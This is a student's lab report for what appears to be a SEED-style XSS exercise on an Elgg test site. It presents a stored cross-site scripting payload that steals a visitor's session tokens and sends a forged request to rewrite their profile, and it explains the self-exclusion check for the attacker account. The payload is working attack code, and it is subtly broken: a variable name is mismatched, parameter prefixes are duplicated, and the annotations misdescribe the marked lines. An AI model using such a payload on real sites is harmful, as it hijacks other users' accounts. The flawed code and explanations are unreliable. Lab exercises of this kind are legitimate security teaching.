SY1939111-张思嘉

Task 3： XSS Attack - Modifying victim’s profile.

1. **The modified Javascript program. Please highlight your changes and explain why you did this changes.**

<script type="text/javascript">

window.onload = function(){

//JavaScript code to access user name, user guid, Time Stamp elgg\_ts

//and Security Token elgg\_token

var userName=elgg.session.user.name;

var guid="&guid="+elgg.session.user.guid;

var ts="&\_\_elgg\_ts="+elgg.security.token.\_\_elgg\_ts;

var token="&\_\_elgg\_token="+elgg.security.token.\_\_elgg\_token;

//Construct the content of your url.

var content = "\_\_elgg\_token="

content += token

content += "&\_\_elgg\_ts="

content += ts

content += "&name="

content += username ①

content += "&description=<p>From Samy</p>"

content += "&accesslevel[description]=2&briefdescription=You are hacked. "

content += "&accesslevel[briefdescription]=2"

content += "&guid="

content += guid

var samyGuid=47;

if(elgg.session.user.guid!=samyGuid)

{

alert('You are hacked'); ②

var Ajax=new XMLHttpRequest();

Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true); ③

Ajax.setRequestHeader("Host","www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

Ajax.send(content);

}

}

</script>

**① : This is to set the security token (token and ts) and the intended profile of the victim..**

**② :** This is to mark the change of victim’s profile.

**③** : This is to set the target UTL as edit profile URL.

1. **Question : Why do you need line 1 remove line 1 and repeat your attack. Report and explain your observation.**

Line 1 is to avoid Samy’s code rewrite his own profile. After removed line 1 , Samy’s malicious code attacked himself and cover his malicious script with victim’profile. When trying to save the malicious script as Samy’s profile, Samy’s web page would reload his own profile and execute the malicious script. Therefore, it is necessary to identify Samy and avoid the erasure of his profile.

1. **Screenshot of the attack:**

|  |  |
| --- | --- |
|  | **Before**  Alice’s profile. |
|  | **After:**  When browsing Samy’s profile, Alice’s profile was changed |
|  | **Result:**  Alice’s profile is illegally changed |